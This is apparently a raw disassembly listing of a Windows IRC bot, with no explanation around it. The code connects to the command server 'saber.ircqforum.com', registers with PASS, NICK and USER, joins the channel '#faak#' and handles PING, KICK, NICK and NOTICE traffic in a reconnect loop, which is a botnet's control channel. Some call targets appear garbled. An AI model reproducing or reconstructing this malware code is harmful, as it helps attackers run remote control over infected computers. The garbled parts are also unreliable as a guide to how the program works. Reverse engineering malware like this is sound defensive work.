		push	0C8h
		nop
		call	near ptr 2610F41h
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43ACF8
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_4CD9D0, 2
		jle	short loc_40E9D8
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2650248h
		push	esi
		call	near ptr 26319EBh
		nop
		mov	eax, dword_4CD9D4
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 2610F41h
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+8]
		call	near ptr 27C0BE7h
		nop

loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43AE68, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx

loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_42F7C4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_43FA70
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		mov	dword_4CD770, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_4CD67C
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_4CD6BC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_4CD750, ebx

loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx

loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43AE80, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43ACDC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_4CD5F8
		mov	dword_4CD76C, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_4CD76C, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]

loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h

loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		nop
		call	near ptr 2610F41h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F650, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F650
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25

loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43ACF8

loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4CD760
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440808
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4407FC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43AE30
		call	sub_40ADF3
		push	7D0h

loc_40EC72:				; CODE XREF: sub_40EB92+146j
		nop
		call	near ptr 2610F41h
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42F7F8
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43AE30
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------

loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------

loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax

loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_4CD768, bl
		jz	short loc_40ED3F
		push	offset byte_4CD768
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch

loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43AE30
		push	1388h
		nop
		call	near ptr 2610F41h

loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax

loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]

loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi

loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		call	near ptr 2610F41h
		nop
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------

loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------

loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2

loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_432E88 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh

loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93

loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi

loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_432E84 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h

loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------

loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------

loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_4CD760
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch

loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h

loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1

loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h

loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h

loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1

loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax

loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h

loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C

loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
